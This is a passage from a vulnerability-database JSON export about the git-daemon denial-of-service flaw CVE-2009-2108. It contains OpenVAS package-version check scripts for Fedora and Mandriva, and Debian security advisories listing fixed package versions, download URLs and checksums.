script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_name(\"Fedora Core 11 FEDORA-2009-6936 (git)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name : \"URL\" , value : \"https://bugzilla.redhat.com/show_bug.cgi?id=505761\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-rpm.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isrpmvuln(pkg:\"git\", rpm:\"git~1.6.2.5~1.fc11\", rls:\"FC11\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-daemon\", rpm:\"git-daemon~1.6.2.5~1.fc11\", rls:\"FC11\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-debuginfo\", rpm:\"git-debuginfo~1.6.2.5~1.fc11\", rls:\"FC11\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"emacs-git\", rpm:\"emacs-git~1.6.2.5~1.fc11\", rls:\"FC11\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-all\", rpm:\"git-all~1.6.2.5~1.fc11\", rls:\"FC11\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-arch\", rpm:\"git-arch~1.6.2.5~1.fc11\", rls:\"FC11\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-cvs\", rpm:\"git-cvs~1.6.2.5~1.fc11\", rls:\"FC11\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-email\", rpm:\"git-email~1.6.2.5~1.fc11\", rls:\"FC11\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-gui\", rpm:\"git-gui~1.6.2.5~1.fc11\", rls:\"FC11\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-svn\", rpm:\"git-svn~1.6.2.5~1.fc11\", rls:\"FC11\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitk\", rpm:\"gitk~1.6.2.5~1.fc11\", rls:\"FC11\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitweb\", rpm:\"gitweb~1.6.2.5~1.fc11\", rls:\"FC11\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"perl-Git\", rpm:\"perl-Git~1.6.2.5~1.fc11\", rls:\"FC11\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2017-07-25T10:56:16", "references": ["https://bugzilla.redhat.com/show_bug.cgi?id=502393", "https://bugzilla.redhat.com/show_bug.cgi?id=505761", "https://bugzilla.redhat.com/show_bug.cgi?id=490602"], "pluginID": "64292", "description": "The remote host is missing an update to git\nannounced via advisory FEDORA-2009-6839.", "edition": 2, "reporter": "Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com", "published": "2009-06-30T00:00:00", "title": "Fedora Core 10 FEDORA-2009-6839 (git)", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "Fedora Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2017-07-10T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=64292", "id": "OPENVAS:64292", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: fcore_2009_6839.nasl 6624 2017-07-10 06:11:55Z cfischer $\n# Description: Auto-generated from advisory FEDORA-2009-6839 (git)\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"Update Information:\n\nThis update fixes a Denial of Service vulnerability in git-daemon. It also\nfixes minor issues when using git-cvsimport and the formatting of the git-daemon\nxinetd service description.\n\nChangeLog:\n\n* Fri Jun 19 2009 Todd Zullinger - 1.6.0.6-4\n- Fix git-daemon hang on invalid input (CVE-2009-2108, bug 505761)\n- Ignore Branches output from cvsps-2.2b1 (bug 490602)\n- Escape newline in git-daemon xinetd description (bug 502393)\";\ntag_solution = \"Apply the appropriate updates.\n\nThis update can be installed with the yum update program. Use \nsu -c 'yum update git' at the command line.\nFor more information, refer to Managing Software with yum,\navailable at http://docs.fedoraproject.org/yum/.\n\nhttps://secure1.securityspace.com/smysecure/catid.html?in=FEDORA-2009-6839\";\ntag_summary = \"The remote host is missing an update to git\nannounced via advisory FEDORA-2009-6839.\";\n\n\n\nif(description)\n{\n script_id(64292);\n script_version(\"$Revision: 6624 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-10 08:11:55 +0200 (Mon, 10 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-06-30 00:29:55 +0200 (Tue, 30 Jun 2009)\");\n script_cve_id(\"CVE-2009-2108\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_name(\"Fedora Core 10 FEDORA-2009-6839 (git)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name : \"URL\" , value : \"https://bugzilla.redhat.com/show_bug.cgi?id=505761\");\n script_xref(name : \"URL\" , value : \"https://bugzilla.redhat.com/show_bug.cgi?id=502393\");\n script_xref(name : \"URL\" , value : \"https://bugzilla.redhat.com/show_bug.cgi?id=490602\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-rpm.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isrpmvuln(pkg:\"emacs-git\", rpm:\"emacs-git~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git\", rpm:\"git~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-all\", rpm:\"git-all~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-arch\", rpm:\"git-arch~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-cvs\", rpm:\"git-cvs~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-daemon\", rpm:\"git-daemon~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-email\", rpm:\"git-email~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-gui\", rpm:\"git-gui~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-svn\", rpm:\"git-svn~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitk\", rpm:\"gitk~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitweb\", rpm:\"gitweb~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"perl-Git\", rpm:\"perl-Git~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-debuginfo\", rpm:\"git-debuginfo~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-04-06T11:40:19", "references": [], "pluginID": "136141256231064457", "description": "The remote host is missing an update to git\nannounced via advisory MDVSA-2009:155.", "edition": 1, "reporter": "Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com", "published": "2009-07-29T00:00:00", "type": "openvas", "title": "Mandrake Security Advisory MDVSA-2009:155 (git)", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "Mandrake Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2018-04-06T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=136141256231064457", "id": "OPENVAS:136141256231064457", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: mdksa_2009_155.nasl 9350 2018-04-06 07:03:33Z cfischer $\n# Description: Auto-generated from advisory MDVSA-2009:155 (git)\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"A vulnerability has been found and corrected in git:\n\ngit-daemon in git 1.4.4.5 through 1.6.3 allows remote attackers to\ncause a denial of service (infinite loop and CPU consumption) via a\nrequest containing extra unrecognized arguments (CVE-2009-2108).\n\nThis update provides fixes for this vulnerability.\n\nAffected: 2009.1\";\ntag_solution = \"To upgrade automatically use MandrakeUpdate or urpmi. The verification\nof md5 checksums and GPG signatures is performed automatically for you.\n\nhttps://secure1.securityspace.com/smysecure/catid.html?in=MDVSA-2009:155\";\ntag_summary = \"The remote host is missing an update to git\nannounced via advisory MDVSA-2009:155.\";\n\n \n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.64457\");\n script_version(\"$Revision: 9350 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-04-06 09:03:33 +0200 (Fri, 06 Apr 2018) $\");\n script_tag(name:\"creation_date\", value:\"2009-07-29 19:28:37 +0200 (Wed, 29 Jul 2009)\");\n script_cve_id(\"CVE-2009-2108\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_name(\"Mandrake Security Advisory MDVSA-2009:155 (git)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Mandrake Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/mandriva_mandrake_linux\", \"ssh/login/rpms\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-rpm.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isrpmvuln(pkg:\"git\", rpm:\"git~1.6.2.5~0.1mdv2009.1\", rls:\"MNDK_2009.1\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-arch\", rpm:\"git-arch~1.6.2.5~0.1mdv2009.1\", rls:\"MNDK_2009.1\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-core\", rpm:\"git-core~1.6.2.5~0.1mdv2009.1\", rls:\"MNDK_2009.1\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-core-oldies\", rpm:\"git-core-oldies~1.6.2.5~0.1mdv2009.1\", rls:\"MNDK_2009.1\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-cvs\", rpm:\"git-cvs~1.6.2.5~0.1mdv2009.1\", rls:\"MNDK_2009.1\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-email\", rpm:\"git-email~1.6.2.5~0.1mdv2009.1\", rls:\"MNDK_2009.1\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitk\", rpm:\"gitk~1.6.2.5~0.1mdv2009.1\", rls:\"MNDK_2009.1\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-svn\", rpm:\"git-svn~1.6.2.5~0.1mdv2009.1\", rls:\"MNDK_2009.1\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitview\", rpm:\"gitview~1.6.2.5~0.1mdv2009.1\", rls:\"MNDK_2009.1\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitweb\", rpm:\"gitweb~1.6.2.5~0.1mdv2009.1\", rls:\"MNDK_2009.1\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"libgit-devel\", rpm:\"libgit-devel~1.6.2.5~0.1mdv2009.1\", rls:\"MNDK_2009.1\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"perl-Git\", rpm:\"perl-Git~1.6.2.5~0.1mdv2009.1\", rls:\"MNDK_2009.1\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"lib64git-devel\", rpm:\"lib64git-devel~1.6.2.5~0.1mdv2009.1\", rls:\"MNDK_2009.1\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "debian": [{"lastseen": "2018-10-16T22:12:50", "references": [], "affectedPackage": [], "description": "Sebastian Harl uploaded new packages for git-core which fixed the\nfollowing security problems:\n\nDSA 1777-1, Debian bug #516669\n\n Peter Palfrader discovered that on some architectures files under\n /usr/share/git-core/templates/ were owned by a non-root user. This\n allows a user with that uid on the local system to write to these\n files and possibly escalate their privileges.\n\n This issue only affected the DEC Alpha and MIPS (big and little\n endian) architectures.\n\nCVE-2009-2108, DSA 1841-1, Debian bug #532935\n\n git-daemon in git 1.4.4.5 through 1.6.3 allows remote attackers to\n cause a denial of service (infinite loop and CPU consumption) via a\n request containing extra unrecognized arguments.\n\nFor the etch-backports distribution the problems have been fixed in\nversion 1:1.5.6.5-3+lenny2~bpo40+1.\n\nThe lenny-backports distribution had not been affected by any of these\nissues.\n\nUpgrade instructions\n--------------------\n\nIf you don&#x27;t use pinning [1] you have to update the package manually via\n&quot;apt-get -t etch-backports install &lt;packagelist&gt;&quot;, where &lt;packagelist&gt;\nis the list of your installed packages affected by this update.\n\n[1] http://backports.org/dokuwiki/doku.php?id=instructions\n\nWe recommend to pin the backports repository to 200 so that new versions\nof installed backports will be installed automatically.\n\n Package: *\n Pin: release a=etch-backports\n Pin-Priority: 200\n\n", "edition": 1, "reporter": "Debian", "published": "2009-07-27T00:56:24", "title": "[Backports-security-announce] Security Update for git-core", "type": "debian", "enchantments": {"score": {"modified": "2018-10-16T22:12:50", "vector": "NONE", "value": 7.2}}, "bulletinFamily": "unix", "cvelist": ["CVE-2009-2108"], "modified": "2009-07-27T00:56:24", "id": "DEBIAN:620DC2AAC8BFD3D9F535DF064E2A7753:D4A0C", "href": "https://lists.debian.org/debian-backports-announce/2009/debian-backports-announce-200907/msg00001.html", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-10-16T22:15:07", "references": [], "affectedPackage": [{"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch3", "arch": "all", "packageFilename": "git-arch_1:1.4.4.4-4+etch3_all.deb", "packageName": "git-arch", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny2", "arch": "all", "packageFilename": "git-cvs_1:1.5.6.5-3+lenny2_all.deb", "packageName": "git-cvs", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch3", "arch": "all", "packageFilename": "git-svn_1:1.4.4.4-4+etch3_all.deb", "packageName": "git-svn", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny2", "arch": "all", "packageFilename": "git-daemon-run_1:1.5.6.5-3+lenny2_all.deb", "packageName": "git-daemon-run", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny2", "arch": "all", "packageFilename": "git-arch_1:1.5.6.5-3+lenny2_all.deb", "packageName": "git-arch", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch3", "arch": "all", "packageFilename": "git-email_1:1.4.4.4-4+etch3_all.deb", "packageName": "git-email", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny2", "arch": "all", "packageFilename": "git-email_1:1.5.6.5-3+lenny2_all.deb", "packageName": "git-email", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch3", "arch": "all", "packageFilename": "git-doc_1:1.4.4.4-4+etch3_all.deb", "packageName": "git-doc", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch3", "arch": "all", "packageFilename": "gitweb_1:1.4.4.4-4+etch3_all.deb", "packageName": "gitweb", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch3", "arch": "all", "packageFilename": "git-daemon-run_1:1.4.4.4-4+etch3_all.deb", "packageName": "git-daemon-run", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny2", "arch": "all", "packageFilename": "git-svn_1:1.5.6.5-3+lenny2_all.deb", "packageName": "git-svn", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny2", "arch": "all", "packageFilename": "git-core_1:1.5.6.5-3+lenny2_all.deb", "packageName": "git-core", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch3", "arch": "all", "packageFilename": "git-core_1:1.4.4.4-4+etch3_all.deb", "packageName": "git-core", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny2", "arch": "all", "packageFilename": "gitweb_1:1.5.6.5-3+lenny2_all.deb", "packageName": "gitweb", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny2", "arch": "all", "packageFilename": "gitk_1:1.5.6.5-3+lenny2_all.deb", "packageName": "gitk", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny2", "arch": "all", "packageFilename": "git-gui_1:1.5.6.5-3+lenny2_all.deb", "packageName": "git-gui", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch3", "arch": "all", "packageFilename": "git-cvs_1:1.4.4.4-4+etch3_all.deb", "packageName": "git-cvs", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny2", "arch": "all", "packageFilename": "git-doc_1:1.5.6.5-3+lenny2_all.deb", "packageName": "git-doc", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch3", "arch": "all", "packageFilename": "gitk_1:1.4.4.4-4+etch3_all.deb", "packageName": "gitk", "operator": "lt"}], "description": "- --------------------------------------------------------------------------\nDebian Security Advisory DSA-1841-1 security@debian.org\nhttp://www.debian.org/security/ Nico Golde\nJuly 25th, 2009 http://www.debian.org/security/faq\n- --------------------------------------------------------------------------\n\nPackage : git-core\nVulnerability : denial of service\nProblem type : remote\nDebian-specific: no\nDebian bug : 532935\nCVE ID : CVE-2009-2108\n\nIt was discovered that git-daemon which is part of git-core, a popular\ndistributed revision control system, is vulnerable to denial of service\nattacks caused by a programming mistake in handling requests containing\nextra unrecognized arguments which results in an infinite loop. While\nthis is no problem for the daemon itself as every request will spawn a\nnew git-daemon instance, this still results in a very high CPU consumption\nand might lead to denial of service conditions.\n\n\nFor the oldstable distribution (etch), this problem has been fixed in\nversion 1.4.4.4-4+etch3.\n\nFor the stable distribution (lenny), this problem has been fixed in\nversion 1.5.6.5-3+lenny2.\n\nFor the testing distribution (squeeze), this problem has been fixed in\nversion 1:1.6.3.3-1.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 1:1.6.3.3-1.\n\n\nWe recommend that you upgrade your git-core packages.\n\nUpgrade instructions\n- --------------------\n\nwget url\n will fetch the file for you\ndpkg -i file.deb\n will install the referenced file.\n\nIf you are using the apt-get package manager, use the line for\nsources.list as given below:\n\napt-get update\n will update the internal database\napt-get upgrade\n will install corrected packages\n\nYou may use an automated update by adding the resources from the\nfooter to the proper configuration.\n\n\nDebian GNU/Linux 4.0 alias etch\n- -------------------------------\n\nDebian (oldstable)\n- ------------------\n\nOldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.\n\nSource archives:\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch3.diff.gz\n Size/MD5 checksum: 72125 920daf694b12a77e06f27324c61753fc\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4.orig.tar.gz\n Size/MD5 checksum: 1054130 99bc7ea441226f792b6f796a838e7ef0\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch3.dsc\n Size/MD5 checksum: 805 9fa69bdac10c46441712bcb97a8a9e65\n\nArchitecture independent packages:\n\n http://security.debian.org/pool/updates/main/g/git-core/gitweb_1.4.4.4-4+etch3_all.deb\n Size/MD5 checksum: 89018 fa846f8c62895984a153dc720139280b\n http://security.debian.org/pool/updates/main/g/git-core/git-svn_1.4.4.4-4+etch3_all.deb\n Size/MD5 checksum: 100788 48ab52e7be61dcb5250ebda54e2d1126\n http://security.debian.org/pool/updates/main/g/git-core/git-cvs_1.4.4.4-4+etch3_all.deb\n Size/MD5 checksum: 94996 9233cd5e72daae479d299905eca84128\n http://security.debian.org/pool/updates/main/g/git-core/git-doc_1.4.4.4-4+etch3_all.deb\n Size/MD5 checksum: 572486 87737fc3ae4191051bd2712190f3fc19\n http://security.debian.org/pool/updates/main/g/git-core/git-email_1.4.4.4-4+etch3_all.deb\n Size/MD5 checksum: 63304 6c558ece1e80966bd662acc67749ac2e\n http://security.debian.org/pool/updates/main/g/git-core/git-daemon-run_1.4.4.4-4+etch3_all.deb\n Size/MD5 checksum: 55908 243dc1bc8acc538e45e2631c97771162\n http://security.debian.org/pool/updates/main/g/git-core/gitk_1.4.4.4-4+etch3_all.deb\n Size/MD5 checksum: 100154 892b5d12d207102f27db83d24b6178cb\n http://security.debian.org/pool/updates/main/g/git-core/git-arch_1.4.4.4-4+etch3_all.deb\n Size/MD5 checksum: 69016 4b5ddf573ebb0736e967e02a2b355cd3\n\nalpha architecture (DEC Alpha)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch3_alpha.deb\n Size/MD5 checksum: 3102126 6275cd993e070350bedcf9733e827da0\n\namd64 architecture (AMD x86_64 (AMD64))\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch3_amd64.deb\n Size/MD5 checksum: 2641296 3dff7bca20524d55e6f9bf2323a8afc1\n\narm architecture (ARM)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch3_arm.deb\n Size/MD5 checksum: 2323022 de2a3964df5fe485a5fb56d009a62dc3\n\ni386 architecture (Intel ia32)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch3_i386.deb\n Size/MD5 checksum: 2353750 97fb3bb60dbe68eeb5aae2604949e85c\n\nia64 architecture (Intel ia64)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch3_ia64.deb\n Size/MD5 checksum: 3815890 4f6f57eb772f523cc243190cec885dc7\n\nmips architecture (MIPS (Big Endian))\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch3_mips.deb\n Size/MD5 checksum: 2784346 af422088e354d29ca3c59aba1dba8110\n\npowerpc architecture (PowerPC)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch3_powerpc.deb\n Size/MD5 checksum: 2654894 4cf6082256ec24bddce89d420920c49c\n\ns390 architecture (IBM S/390)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch3_s390.deb\n Size/MD5 checksum: 2628316 433af991f74293d69fe64a41130def76\n\nsparc architecture (Sun SPARC/UltraSPARC)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch3_sparc.deb\n Size/MD5 checksum: 2301672 c79c01e50d773e64a268d2fcebd5385b\n\n\nDebian GNU/Linux 5.0 alias lenny\n- --------------------------------\n\nDebian (stable)\n- ---------------\n\nStable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.\n\nSource archives:\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny2.diff.gz\n Size/MD5 checksum: 226798 5f4cc4a02e92213b0dad6c82e856ec2f\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5.orig.tar.gz\n Size/MD5 checksum: 2103619 c22da91c913a02305fd8a1a2298f75c9\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny2.dsc\n Size/MD5 checksum: 1331 b56dfde38fdf7f22cc2e27d744a67e90\n\nArchitecture independent packages:\n\n http://security.debian.org/pool/updates/main/g/git-core/git-gui_1.5.6.5-3+lenny2_all.deb\n Size/MD5 checksum: 404642 e1036baa89a84e7162e4d487021f1881\n http://security.debian.org/pool/updates/main/g/git-core/git-arch_1.5.6.5-3+lenny2_all.deb\n Size/MD5 checksum: 230828 5caec9b6b0927af9de2df79b840b9d72\n http://security.debian.org/pool/updates/main/g/git-core/gitk_1.5.6.5-3+lenny2_all.deb\n Size/MD5 checksum: 301198 744e6545323dfabf86bedf142e2c8605\n http://security.debian.org/pool/updates/main/g/git-core/git-email_1.5.6.5-3+lenny2_all.deb\n Size/MD5 checksum: 229240 4d8a53527204bc0224869f55a8812209\n http://security.debian.org/pool/updates/main/g/git-core/git-svn_1.5.6.5-3+lenny2_all.deb\n Size/MD5 checksum: 268110 e3ad28d153ddaa0bcb56d717139e2e5f\n http://security.debian.org/pool/updates/main/g/git-core/git-daemon-run_1.5.6.5-3+lenny2_all.deb\n Size/MD5 checksum: 217726 4d256c215df877a8135f6df1069683e3\n http://security.debian.org/pool/updates/main/g/git-core/gitweb_1.5.6.5-3+lenny2_all.deb\n Size/MD5 checksum: 267514 1d05277557024dc82796a24b42519640\n http://security.debian.org/pool/updates/main/g/git-core/git-doc_1.5.6.5-3+lenny2_all.deb\n Size/MD5 checksum: 1248188 102d5fa3582d05804a1d16b5d01fb63d\n http://security.debian.org/pool/updates/main/g/git-core/git-cvs_1.5.6.5-3+lenny2_all.deb\n Size/MD5 checksum: 267328 9f7d38c746eb005ecc286002ddb878df\n\namd64 architecture (AMD x86_64 